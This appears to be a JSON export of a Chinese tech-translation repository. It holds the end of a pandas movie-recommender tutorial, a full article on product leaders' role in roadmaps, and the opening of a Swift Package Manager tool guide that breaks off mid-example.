dataframe：\n\n```\nmovie_data.head()\n```\n\n输出结果如下：\n\n| \t| userId | movieId | rating | timestamp | title | genres |\n|---|--------|---------|--------|-----------|-------|--------|\n| 0\t| 1\t | 31 | 2.5 | 1260759144  | Dangerous Minds (1995)\tDrama |\n| 1\t| 7  | 31 | 3.0 | 851868750   | Dangerous Minds (1995)\tDrama |\n| 2\t| 31 | 31 | 4.0 | 12703541953 | Dangerous Minds (1995)\tDrama |\n| 3\t| 32 | 31 | 4.0 | 834828440   | Dangerous Minds (1995)\tDrama |\n| 4 | 36 | 31 | 3.0 | 847057202   | Dangerous Minds (1995)\tDrama |\n\n我们可以看到新创建的 dataframe 正如要求的那样包含 userId，电影名称和电影评分。\n\n现在让我们看看每部电影的平均评分。为此，我们可以按照电影的标题对数据集进行分组，然后计算每部电影评分的平均值。接下来我们将使用 `head()` 方法显示前五部电影及其平均评分。请看如下脚本：\n\n```\nmovie_data.groupby('title')['rating'].mean().head()\n```\n\n输出结果如下：\n\n```\ntitle\n\"Great Performances\" Cats (1998)           1.750000\n$9.99 (2008)                               3.833333\n'Hellboy': The Seeds of Creation (2004)    2.000000\n'Neath the Arizona Skies (1934)            0.500000\n'Round Midnight (1986)                     2.250000\nName: rating, dtype: float64\n```\n\n你可以看到平均评分是没有排序的。让我们按照平均评分的降序对评分进行排序：\n\n```\nmovie_data.groupby('title')['rating'].mean().sort_values(ascending=False).head()\n```\n\n如果你执行了上面的脚本，输出结果应该如下所示：\n\n```\ntitle\nBurn Up! (1991)                                     5.0\nAbsolute Giganten (1999)                            5.0\nGentlemen of Fortune (Dzhentlmeny udachi) (1972)    5.0\nErik the Viking (1989)                              5.0\nReality (2014)                                      5.0\nName: rating, dtype: float64\n```\n\n这些电影现已根据评分的降序排序。然而有一个问题是，如果只有一个用户对电影做了评价且分数为五星，这部电影就会排到列表的顶部。因此，上述统计数据可能具有误导性。通常来讲，一部真正的好电影会有大批用户给更高的评分。\n\n现在让我们绘制一部电影的评分总数：\n\n```\nmovie_data.groupby('title')['rating'].count().sort_values(ascending=False).head()\n```\n\n执行上面的脚本返回如下结果：\n\n```\ntitle\nForrest Gump (1994)                          341\nPulp Fiction (1994)                          324\nShawshank Redemption, The (1994)             311\nSilence of the Lambs, The (1991)             304\nStar Wars: Episode IV - A New Hope (1977)    291\nName: rating, dtype: int64\n```\n\n现在你会看到真正的好电影就排在顶部了。以上列表证实了我们的观点，好电影通常会收到更高的评分。现在我们知道每部电影的平均评分和评分数量都是重要的属性了。让我们创建一个新的包含这些属性的 dataframe。\n\n执行如下脚本创建 `ratings_mean_count` dataframe，首先将每部电影的平均评分添加到这个 dataframe：\n\n```\nratings_mean_count = pd.DataFrame(movie_data.groupby('title')['rating'].mean())\n```\n\n接下来，我们需要把电影的评分数添加到 `ratings_mean_count` dataframe。执行如下脚本来实现：\n\n```\nratings_mean_count['rating_counts'] = pd.DataFrame(movie_data.groupby('title')['rating'].count())\n```\n\n现在我们再看下新创建的 dataframe。\n\n```\nratings_mean_count.head()\n```\n\n输出结果如下：\n\n| title\t| rating | rating_counts |\n|-------|--------|---------------|\n| \"Great Performances\" Cats (1998)        | 1.750000 | 2 |\n| $9.99 (2008)                            | 3.833333 | 3 |\n| 'Hellboy': The Seeds of Creation (2004) | 2.000000 | 1 |\n| 'Neath the Arizona Skies (1934)         | 0.500000 | 1 |\n| 'Round Midnight (1986)                  | 2.250000 | 2 |\n\n你可以看到电影标题，以及电影的平均评分和评分数。\n\n让我们绘制上面 dataframe 中 \"rating_counts\" 列所代表的评分数的直方图。执行如下脚本：\n\n```\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('dark')\n%matplotlib inline\n\nplt.figure(figsize=(8,6))\nplt.rcParams['patch.force_edgecolor'] = True\nratings_mean_count['rating_counts'].hist(bins=50)\n```\n\n以下是上述脚本的输出：\n\n![Ratings histogram](https://s3.amazonaws.com/stackabuse/media/creating-simple-recommender-system-python-pandas-1.png)\n\n从上图中，我们可以看到大部分电影的评分不到 50 条。而且有 100 条以上评分的电影数量非常少。\n\n现在我们绘制平均评分的直方图。代码如下：\n\n```\nplt.figure(figsize=(8,6))\nplt.rcParams['patch.force_edgecolor'] = True\nratings_mean_count['rating'].hist(bins=50)\n```\n\n输出结果如下：\n\n![Average ratings histogram](https://s3.amazonaws.com/stackabuse/media/creating-simple-recommender-system-python-pandas-2.png)\n\n您可以看到整数值的 bar 比浮点值更高，因为大多数用户会做出整数评分，即 1、2、3、4 或 5。此外，很明显，数据的正态分布较弱，平均值约为 3.5。数据中有一些异常值。\n\n前面，我们说有更多评分数的电影通常也有高平均评分，因为一部好电影通常都是家喻户晓的，而很多人都会看这样的电影，因此通常会有更高的评分。我们看看在我们的数据集中的电影是否也是这种情况。我们将平均评分与评分数量进行对比：\n\n```\nplt.figure(figsize=(8,6))\nplt.rcParams['patch.force_edgecolor'] = True\nsns.jointplot(x='rating', y='rating_counts', data=ratings_mean_count, alpha=0.4)\n```\n\n输出结果如下：\n\n![Average ratings vs number of ratings](https://s3.amazonaws.com/stackabuse/media/creating-simple-recommender-system-python-pandas-3.png)\n\n该图表明，相较于低平均分的电影来说，高平均分的电影往往有更多的评分数量。\n\n#### 找出电影之间的相似之处\n\n我们在数据的可视化和预处理上花了较多时间。现在是时候找出电影之间的相似之处了。\n\n我们将使用电影评分之间的相关性作为相似性度量。为了发现电影评分之间的相关性，我们需要创建一个矩阵，其中每列是电影名称，每行包含特定用户为该电影指定的评分。请记住，此矩阵将具有大量空值，因为不是每个用户都会对每部电影进行评分。\n\n创建电影标题和相应的用户评分矩阵，执行如下脚本：\n\n```\nuser_movie_rating = movie_data.pivot_table(index='userId', columns='title', values='rating')\n```\n\n```\nuser_movie_rating.head()\n```\n\n| title | \"Great Performances\" Cats (1998) | $9.99 (1998) | 'Hellboy': The Seeds of Creation (2008) | 'Neath the Arizona Skies (1934) | 'Round Midnight (1986) | 'Salem's Lot (2004) | 'Til There Was You (1997) | 'burbs, The (1989) | 'night Mother (1986) | (500) Days of Summer (2009) | ... | Zulu (1964)| Zulu (2013) |\n| -- | -- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| userId| |     |     |     |     |\t    |     |\t    |     |\t    |     |\t    |     |\t\n| 1 | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | ... | NaN | NaN |\n| 2 | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | ... | NaN | NaN |\n| 3 | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | ... | NaN | NaN |\n| 4 | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | ... | NaN | NaN |\n| 5 | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | NaN | ... | NaN | NaN |\n\n我们知道每列包含所有用户对某部电影的评分。让我们找到电影 \"Forrest Gump (1994)\" 的所有用户评分，然后找出跟它相似的电影。我们选这部电影是因为它评分数最多，我们希望找到具有更高评分数的电影之间的相关性。\n\n要查找 \"Forrest Gump (1994)\" 的用户评分，执行如下脚本：\n\n```\nforrest_gump_ratings = user_movie_rating['Forrest Gump (1994)']\n```\n\n如上脚本将返回一个 Pandas 序列。让我们看看它长什么样。\n\n```\nforrest_gump_ratings.head()\n```\n\n```\nuserId\n1    NaN\n2    3.0\n3    5.0\n4    5.0\n5    4.0\nName: Forrest Gump (1994), dtype: float64\n```\n\n现在让我们检索所有和 \"Forrest Gump (1994)\" 类似的电影。我们可以使用如下所示的 `corrwith()` 函数找到 \"Forest Gump (1994)\" 和所有其他电影的用户评分之间的相关性\n\n```\nmovies_like_forest_gump = user_movie_rating.corrwith(forrest_gump_ratings)\n\ncorr_forrest_gump = pd.DataFrame(movies_like_forest_gump, columns=['Correlation'])\ncorr_forrest_gump.dropna(inplace=True)\ncorr_forrest_gump.head()\n```\n\n在上面的脚本中，我们首先使用 `corrwith()` 函数检索与 \"Forrest Gump (1994)\" 相关的所有电影的列表及其相关值。接下来，我们创建了包含电影名称和相关列的 dataframe。然后我们从 dataframe 中删除了所有 NA 值，并使用 `head` 函数显示其前 5 行。\n\n输出结果如下：\n\n\n| **title** | **Correlation** |\n| --------- | --------------- |\n| $9.99 (2008)                   | 1.000000 |\n| 'burbs, The (1989)             | 0.044946 |\n| (500) Days of Summer (2009)    | 0.624458 |\n| *batteries not included (1987) | 0.603023 |\n| ...And Justice for All (1979)  | 0.173422 |\n\n让我们按照相关性的降序对电影进行排序，以便在顶部看到高度相关的电影。执行如下脚本：\n\n```\ncorr_forrest_gump.sort_values('Correlation', ascending=False).head(10)\n```\n\n以下是上述脚本的输出：\n\n| title | Correlation |\n| ----- | ----------- |\n| $9.99 (2008)                       | 1.0 |\n| Say It Isn't So (2001)             | 1.0 |\n| Metropolis (2001)                  | 1.0 |\n| See No Evil, Hear No Evil (1989)   | 1.0 |\n| Middle Men (2009)                  | 1.0 |\n| Water for Elephants (2011)         | 1.0 |\n| Watch, The (2012)                  | 1.0 |\n| Cheech & Chong's Next Movie (1980) | 1.0 |\n| Forrest Gump (1994)                | 1.0 |\n| Warrior (2011)                     | 1.0 |\n\n从输出结果中你可以发现和 \"Forrest Gump (1994)\" 高度相关的电影并不是很有名。这表明单独的相关性不是一个很好的相似度量，因为可能有一个用户只观看了 \"Forest Gump (1994)\" 和另外一部电影，并将它们都评为 5 分。\n\n该问题的解决方案是仅检索具有至少 50 个评分的相关电影。为此，我们将 `rating_mean_count` dataframe 中的 `rating_counts` 列添加到我们的 `corr_forrest_gump` dataframe 中。执行如下脚本：\n\n\n```\ncorr_forrest_gump = corr_forrest_gump.join(ratings_mean_count['rating_counts'])\ncorr_forrest_gump.head()\n```\n\n输出结果如下：\n\n| title | Correlation | rating_counts |\n| ----- | ----------- | ------------- |\n| $9.99 (2008)                   | 1.000000 | 3  |\n| 'burbs, The (1989)             | 0.044946 | 19 |\n| (500) Days of Summer (2009)    | 0.624458 | 45 |\n| *batteries not included (1987) | 0.603023 | 7  |\n| ...And Justice for All (1979)  | 0.173422 | 13 |\n\n你可以看到有着最高相关性的电影 \"$9.99\" 只有 3 条评分。这表明只有 3 个用户给了 \"Forest Gump (1994)\" 和 \"$9.99\" 同样的评分。但是，我们可以推断，不能仅根据 3 个评分就说一部电影与另一部相似。这就是我们添加 \"rating_counts\" 列的原因。现在让我们过滤评分超过 50 条的与 \"Forest Gump (1994)\" 相关的电影。如下代码执行此操作：\n\n```\ncorr_forrest_gump[corr_forrest_gump ['rating_counts']>50].sort_values('Correlation', ascending=False).head()\n```\n\n脚本输出结果如下：\n\n| title | Correlation | rating_counts |\n| ----- | ----------- | ------------- |\n| Forrest Gump (1994)             | 1.000000 | 341 |\n| My Big Fat Greek Wedding (2002) | 0.626240 | 51  |\n| Beautiful Mind, A (2001)        | 0.575922 | 114 |\n| Few Good Men, A (1992)          | 0.555206 | 76  |\n| Million Dollar Baby (2004)      | 0.545638 | 65  |\n\n现在你可以从输出中看到与 \"Forrest Gump (1994)\" 高度相关的电影。列表中的电影是好莱坞电影中最着名的电影之一，而且由于 \"Forest Gump (1994)\" 也是一部非常着名的电影，这些电影很有可能是相关的。\n\n### 结论\n\n在本文中，我们学习了什么是推荐系统以及如何只使用 Pandas 库在 Python 中创建它。值得一提的是，我们创建的推荐系统非常简单。现实生活中的推荐系统使用非常复杂的算法，我们将在后面的文章中讨论。\n\n如果您想了解有关推荐系统的更多信息，我建议看看这个非常好的课程[使用机器学习和 AI 构建推荐系统](https://stackabu.se/building-recommender-systems-with-ml-and-ai)。它比我们在本文中所做的更深入，涵盖了更复杂和准确的方法。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-good-roadmaps-6-practical-steps-product-leaders.md",
    "content": "> * 原文地址：[Creating Good Roadmaps: 6 Practical Steps for Product Leaders](https://www.mindtheproduct.com/2018/02/creating-good-roadmaps-6-practical-steps-product-leaders/)\n> * 原文作者：[Matt Walton](https://www.mindtheproduct.com/profile/matt-walton)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-good-roadmaps-6-practical-steps-product-leaders.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-good-roadmaps-6-practical-steps-product-leaders.md)\n> * 译者：[QiaoN](https://github.com/QiaoN)\n> * 校对者：[renyuhuiharrison](https://github.com/renyuhuiharrison), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 制定良好的路线图：产品负责人的六个实施步骤\n\n作者 [Matt Walton](/profile/matt-walton)，2018 年 2 月 15 日\n\n关于制定产品路线图的流程已经有很多文章，尤其是我自己团队撰写的[六篇优秀文章](https://medium.com/@FutureLearn?source=linkShare-919b188be89-1518549073)。但有关产品负责人在此中角色的文章却出乎意料得少。\n\n我认为产品负责人的行为通常是“糟糕”路线图的根本原因。没有他们周全的领导力，产品经理可能没法实现一个“良好”路线图作为回报。这是因为产品领导力确实很难，而且与产品经理的工作截然不同 —— 这点经常被误解。\n\n我将良好的路线图定义为一个能被团队理解并感受到主导意识的路线图。它包括推动公司战略的正确问题，且对团队内外都有用处。\n\n本文介绍了我对你作为一个产品负责人角色的思考，以确保你的团队能够制定良好的路线图。\n\n## 1. 主导意识\n\n也许作为一个产品负责人，你能犯的最大错误就是相信自己应该最终主导路线图。如果在一个快速发展的创业公司你的角色正在变化且上手实践的越来越少，或者你只是刚担任一个领导角色，那非常容易犯这个错误。\n\n这个错误不仅仅是那些产品领导角色会犯，创始人、CEO 或者领导团队的其他成员也同样会犯。他们自我主导的理念会让你更难施展：你不仅需要避免自己掉进陷阱，还需要保证其他人不掉进去或者把你推进去。\n\n这就是为什么你应该避免在制定路线图的流程中亲自动手，却忘记了重要的事情：激励、指导和质疑你的团队。\n\n为了提供正确的解决方案，你的团队需要理解这些问题并有动力去解决它们。\n\n你的产品经理及其团队通过[协作流程](https://medium.com/@FutureLearn/how-we-prioritise-at-futurelearn-making-decisions-through-collaboration-adaf7275313e)[定义问题空间](https://medium.com/@FutureLearn/defining-the-problem-space-understanding-your-users-and-mapping-opportunities-fa643823ca2c)并[确定机会的优先级](https://medium.com/@FutureLearn/how-we-prioritise-at-futurelearn-making-decisions-through-collaboration-adaf7275313e)，这与流程中出现的路线图一样有价值。\n\n团队还比你有更多的时间去领会不同候选路线图的潜在影响。他们通常更接近用户，因此可以正确理解潜在问题和解决方案的细微差别。\n\n一个路线图不管是直接派发给他们，还是让他们感觉自己只是贡献者而不是所有者，都将不可避免的导致更差的解决方案。团队会对问题理解得更局限，同时可能会缺乏动力，因为人们不相信他们把时间花在正确的事情上。\n\n保持不干涉是很困难的，尤其是当你看到他们制定的路线图和你自己做的非常不同，或者你面临着确保涵盖特定内容的压力。但是出于上述原因，你应该尽可能避免直接干预。\n\n因此，作为一个产品负责人，如果你不干涉路线图的制定，那该如何确保你的团队制定出良好的路线图？你的角色是什么？\n\n![](https://3lsqjy1sj7i027fcn749gutj-wpengine.netdna-ssl.com/wp-content/uploads/2018/02/4d6cfeeb-fbeb-4fa2-9d12-a8f28ca2a2d3_amu0-ksuM121O_0bJ6L8CiCvZcy4veEAX_7_GcE-clGnnrtvExYXn3aai_0VgEV_37RsVZJA43SHa7VnBa9OYHwJbFUyG6brcBRdpFVISC7wxJl6CAYI4Q7EWJBa16oQpGsBMI4A.png)\n\n敏捷洋葱图，和你作为产品负责人应该在的位置\n\n## 2. 目标，愿景，使命和战略\n\n为了让你的团队制定出有效的路线图，他们需要了解和业务有关的背景。作为产品负责人，你需要将公司战略诠释为对产品部门人员有用的东西，并确保他们理解它。\n\n作为产品负责人，你可能参与定义你们公司的目标，或者负责产品的愿景，或者是可能已被设定的一个东西。无论如何，你的工作是确保团队的方向一直存在，如“北极星”一样，领导团队的其他成员支持你，自己的团队也理解你。这非常重要，可以确保他们最终制定的任何计划都朝着同一个共同目标前进。你需要不断的讲述产品的故事，并表明人们每天的工作正朝着这个目标前进。\n\n在 FutureLearn，我们有一个目标（我们为什么存在），一个愿景（我们力求创造什么）和一个使命（我们在未来几年如何做到它）。\n\n![](https://3lsqjy1sj7i027fcn749gutj-wpengine.netdna-ssl.com/wp-content/uploads/2018/02/ea563095-d70b-409d-83de-85e73b31526b_TVzdhRAKnkR7PSndihh8wk0UG_8EiY-9rTEKyIQWEs3Xiuh6LQZoJYhzQh77IDBjXj4vT02azaeJHmsWzhV35iDUkVxvEq2iduNXdjEAQANiz629r9gBqDC8VgUbGncXwmIiIqz_.jpg)![](https://3lsqjy1sj7i027fcn749gutj-wpengine.netdna-ssl.com/wp-content/uploads/2018/02/86c0d9af-d44d-4484-9cf2-b07e35679149_Wl1oaE_Dj7VUxQylr9mfCkUVjDeuvW2hfa_ZAfxitmF2Dn0k4o4bppe_WgoVmd6nBcKespLnutXyiDiw2YtcBl7BRK7MC-QTp9jwy5jpZlKILYS43Hs_KyY1pNyQpKAUkk1HK4Zf.jpg)\n\n我们公司的战略就基于这个使命，通常我们每十二个月重新审视一次。该战略陈述了在来年我们需要做什么才能更接近使命的实现。今年，我们有六个战略目标。\n\n例如，我们的战略目标之一就是“增长付费高级学员（那些有动力发展自己事业的学院）的数量”。\n\n你可以采用许多方法制定愿景和战略，但重要的是确保它们存在并且被理解。\n\n## 3. 团队组织、任务和指标\n\n作为产品负责人，你对产品路线图最大的影响是如何组织团队并且制定他们的任务。\n\n从 FutureLearn 早期开始，我们围绕战略目标组建了我们的产品团队。我们有一个跨职能团队致力于实现每个目标，而不是针对特定的一组功能或者部分产品。我们发现这是成功的，因为它使团队专注于他们产生的影响而非他们构建和维护的功能。\n\n每个团队的任务都反映了战略目标。此外，每个团队都有一个指标作为衡量成功的关键因素。对于上面的增长示例，我们统计课程注册的数量并朝月度目标推进。\n\n对于产品负责人而言，任务的定义和与团队达成的如何衡量成功的协定是你指导团队工作的最大的手段之一。如果你要质疑团队决定的工作事务，那么做好上面这点，是值得你去花时间和精力的，并且能让之后的事情更明确。\n\n在我们的组织中，除了产品功能外，这种方法在其它方面也是行之有效的。现在，公司的大部分人员，包括市场、商务拓展和内容科目，可以和产品经理、软件工程师及设计师一起组成跨职能团队，一起致力于共同的战略目标。\n\n![](https://3lsqjy1sj7i027fcn749gutj-wpengine.netdna-ssl.com/wp-content/uploads/2018/02/8b0605fe-1e93-40bf-8831-d103fd39a504_8oNCOgbnmCdRbUyULBrLy7hypSsNhbUNSx6A3lhHkb7DnwLQd8jSbr0NzxLEJCvgtpXvcUU-pSodcDd88Gy1_cUfPB6HpFYX0WRvxxd6xaNlFS2IniTEUsgJfu-0JLyPpZui8OwI.png)\n\nFutureLearn 的跨职能团队\n\n这种高度协作和矩阵化的方法有其自身的挑战 —— 作为产品负责人，你需要和领导团队中的其他人密切合作，以达成组织和定义任务的方法，这些任务不仅适用于产品人员，也适应于其他业务人员。这可能需要一些妥协，当然你也要善解人意，灵活变通和顽强坚韧。\n\n## 4. 建立协调一致和鼓励沟通\n\n在 FutureLearn，我们通过给予跨职能团队自主权来组织优化速度。一旦团队有任务和指标，他们就能获得宽泛的自由度，并有权以他们认为合适的方式来完成它们。\n\n这意味着我在确保团队间协调一致方面发挥了另一个关键的领导角色：鼓励沟通并寻求整体产品组合的一致性。\n\n当我们第一次去确保让产品经理（而不是我）来主导路线图的时候，这种自主权展开为路线图的审核时间以及呈现方式。\n\n这使得路线图对团队本身非常有用，但对整个业务中的其他人来说，每个团队采取类似却不同的方法会变得相当混乱且不那么有用。其他人很难规划和整合各个团队变更带来的影响。这意味着最终的路线图无法实现其两个主要目标：顺畅的沟通和利益相关者的支持。\n\n我们怎么解决这个问题的呢？我们将所有团队的路线图审核流程和整体的季度业务规划流程相对应，并规定了对“现在”、“下一步”和“之后”的标准含义。我们还就如何管理和展现它们达成一致。\n\n这使得产品管理团队可以相互分享他们的开发计划，我也能为规划背景提供一些高层面指导。\n\n我们通过鼓励团队参与彼此的 Sprint 审查，以及每两周召开一次的产品管理组会来实现一致性。我们还确保每月的全员会议上将重要事务展现给全公司。\n\n## 5. 指导你的团队\n\n你可以对路线图产生的另一个重大影响来自于你如何指导你的团队。在可能的情况下，忍住别告诉你的团队成员他们路线图应该是什么样子。由于上述原因，这可能不太有成效。\n\n无论如何，你这个角色都应该继续向你的团队提出好问题。你应该将他们推向关键洞见或研究的方向，强调其他团队正在进行的相关事务，并帮助他们思考更大的图景。你的新鲜视角会给他们带来好处，并质疑任何让他们的计划无法完成约定任务或与公司的目标/愿景相冲突的愚蠢想法。\n\n有很多办法可以做到这一点。通过一对一、共享文档、鼓励他们与他人交流等等。这应该是一个持续的过程 —— 而不仅仅是在审查路线图的时候。\n\n## 6. 打造产品友好的文化\n\n最后，公司需要一个“产品友好”的文化来实现上述的内容。你的另一个关键角色应该是培养这一点。你在这里做什么取决于组织架构、高级职位的人员以及他们的工作习惯。\n\n通常，这涉及到获得对路线图驱动方法原则的支持，并鼓励每个人关注我们想要看到的而不是我们认为应该建立的结果。这也意味着和领导团队中的其他人合作议定一套明确的战略重点，并保护团队免受不正常的要求。你可能需要更多地参与业务开发才能做到这些。\n\n知道问什么问题能了解 CEO 和其他利益相关者的想法，这也是你可以专注发展的一组宝贵技能。总的来说，可能最好的办法就是诚实地告诉他们你正在努力做的事，这也能让他们有机会谈论他们的期望。\n\n鼓励你的团队将他们的成功和成果与路线图中计划的内容联系起来，这可以帮助他们在流程中建立、加强和保持信任。本质上，最关键的是不断的沟通和庆功。\n\n## 产品负责人在路线图中的角色\n\n在实践中，每个公司都是不同的，会有某个领导角色登场应对一系列不同的挑战，来帮助他们团队制定路线图。\n\n然而，不管你身在何处，请记住你在产品路线图中的角色是确保：\n\n1. 你的团队主导他们的路线图\n2. 有明确的战略背景框架来指明他们的工作，并且团队的任务和评估成功的方法也是明确的\n3. 路线图中的流程、框架和节奏都保持一致，被你的团队所理解并且在整个组织中生效\n4. 在适当的地方有鼓励团队间沟通和协作的流程\n5. 鼓励、支持并适当质疑你的团队\n6. 你培养并保持“产品友好”的文化\n\n如果你能够做到这一切，你会发现你的团队自然会制定出良好的路线图，同样重要的是他们也会热衷于实现这些路线图。最后，交到最终用户手上的东西才是最重要的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-spm-tools-from-your-existing-codebase.md",
    "content": "> * 原文地址：[Creating Swift Package Manager tools from your existing codebase](https://paul-samuels.com/blog/2018/09/01/creating-spm-tools-from-your-existing-codebase/?utm_campaign=Swift%20Weekly&utm_medium=Swift%20Weekly%20Newsletter%20Issue%20129&utm_source=Swift%20Weekly)\n> * 原文作者：[Paul Samuels](https://paul-samuels.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-spm-tools-from-your-existing-codebase.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-spm-tools-from-your-existing-codebase.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[LoneyIsError](https://github.com/LoneyIsError), [iWeslie](https://github.com/iWeslie)\n\n# 从现有的代码库创建 Swift 包管理器\n\nSwift 包管理器（SPM）非常适合编写快速工具，你甚至可以从应用程序中提取现有代码。诀窍是你需要意识到你可以将文件夹符号链接到 SPM 项目中，这意味着通过一些工作你可以创建一个包装生产代码部分的命令行工具。\n\n### 你为什么要这么做？\n\n虽然它很依赖于项目，但是常见的用例是创建支持、调试和持续集成（CI）验证工具。例如，许多应用程序为了实现功能而使用远端的数据，应用程序需要将远程数据转换为自定义的类型，并且使用业务规则对此数据执行有用的操作。在此流程中会有多个故障点显示出应用程序的崩溃或不正确的行为，因此解决的方法是在有附加调试器的情况下启动并进行调试，Swift 包管理器将是一个帮助发现问题并潜在地阻止问题的好工具。\n\n### 注意事项\n\n你不能使用 `UIKit` 框架的下的代码，因为这项技术仅适用于基于 `Foundation` 库的代码。虽然这听起来有限制，但是在理想情况下，业务逻辑和数据操作的代码都不应该都不应该引入有关 `UIKit` 框架下的东西。\n\n具有依赖性导致了该技术更加难，不过你仍然可以使用它，但是需要在 `Package.swift` 中进行更多的配置。\n\n### 你要怎么做呢？\n\n这取决于你的项目结构。我这里有一个[示例项目](https://github.com/paulsamuels/SymlinkedSPMExample)。这是一个小型的 iOS 项目，它显示了一个博客的帖子列表（你并不需要看项目本身，项目本身并不重要）。项目中博客的帖子来自于假的 JSON 数据，它没有特别好的结构，因此应用程序需要进行自定义解码。为了保持它的轻量级，我将以下面的方式构建最简单的包装器：\n\n*   从标准输入中读取\t\n*   使用生产解析代码\n*   打印解码结果或错误\n\n你可以疯狂地给它添加更多的更能，但是这个简单的工具将会让我们在不启动模拟器的情况下，快速为我们提供关于生产代码是否可以接受某些 JSON 的反馈或者显示任何可能发生的错误。\n\n这个示例项目的基础结构如下：\n\n```bash\n.\n└── SymlinkedSPMExample\n    ├── AppDelegate.swift\n    ├── Base.lproj\n    │   └── LaunchScreen.storyboard\n    ├── Info.plist\n    ├── ViewController.swift\n    └── WebService\n        ├── Server.swift\n        └── Types\n            ├── BlogPost.swift\n            └── BlogPostsRequest.swift\n```\n\n我特意创建了一个仅包含我想重用的代码的 `Types` 目录。想要创建利用次生产代码的命令行工具，我们可以执行以下操作：\n\n```bash\nmkdir -p tools/web-api\ncd tools/web-api\nswift package init --type executable\n```\n\n现在我们已经搭建了一个可以操作的项目。首先让我们把生产代码进行链接：\n\n```bash\ncd Sources\nln -s ../../../SymlinkedSPMExample/WebService/Types WebService\ncd ..\n```\n\n**你要给这个链接使用相对路径，否则在迁移到别的电脑上时会奔溃**\n\n现在项目的结构现在看起来像这样：\n\n```bash\n.\n├── SymlinkedSPMExample\n│   ├── AppDelegate.swift\n│   ├── Base.lproj\n│   │   └── LaunchScreen.storyboard\n│   ├── Info.plist\n│   ├── ViewController.swift\n│   └── WebService\n│       ├── Server.swift\n│       └── Types\n│           ├── BlogPost.swift\n│           └── BlogPostsRequest.swift\n└── tools\n    └── web-api\n        ├── Package.swift\n        ├── README.md\n        ├── Sources\n        │   ├── WebServer -> ../../../SymlinkedSPMExample/WebService/Types/\n        │   └── web-api\n        │       └── main.swift\n        └── Tests\n```\n\n现在我需要更新 `Package.swift` 文件来给代码创建一个新的 target 并且添加一个依赖，从而使得 `web-api` 可执行文件可以使用这些生产代码\n\n`Package.swift`\n\n```swift\n// swift-tools-version:4.0\n\nimport PackageDescription\n\nlet package = Package(\n    name: \"web-api\",\n    targets: [\n        .target(name: \"web-api\", dependencies: [ \"WebService\" ]),\n        .target(name: \"WebService\"),\n    ]\n)\n```\n\n既然 SPM 知道如何构建项目，那就让我们利用生产解析代码来写之前提到的代码吧。\n\n`main.swift`\n\n```swift\nimport Foundation\nimport WebService\n\ndo {\n  print(try JSONDecoder().decode(BlogPostsRequest.self, from: FileHandle.standardInput.readDataToEndOfFile()).posts)\n} catch {\n  print(error)\n}\n```\n\n有了这些后，我们现在可以开始通过这个工具运行 JSON 来看看生产代码是否会处理它：\n\n以下是我们尝试通过这个工具发送有效 JSON 时的样子：\n\n```bash\n$ echo '{ \"posts\" : [] }' | swift run web-api\n[]\n\n$ echo '{ \"posts\" : [ { \"title\" : \"Some post\", \"tags\" : [] } ] }' | swift run web-api\n[WebService.BlogPost(title: \"Some post\", tags: [])]\n\n$ echo '{ \"posts\" : [ { \"title\" : \"Some post\", \"tags\" : [ { \"value\" : \"cool\" } ] } ] }' | swift run web-api\n[WebService.BlogPost(title: \"Some post\", tags: [\"cool\"])]\n```\n\n下面是当我们输入无效的 JSON 时所得到的错误信息示例：\n\n```bash\n$ echo '{}' | swift run web-api\nkeyNotFound(CodingKeys(stringValue: \"posts\", intValue: nil), 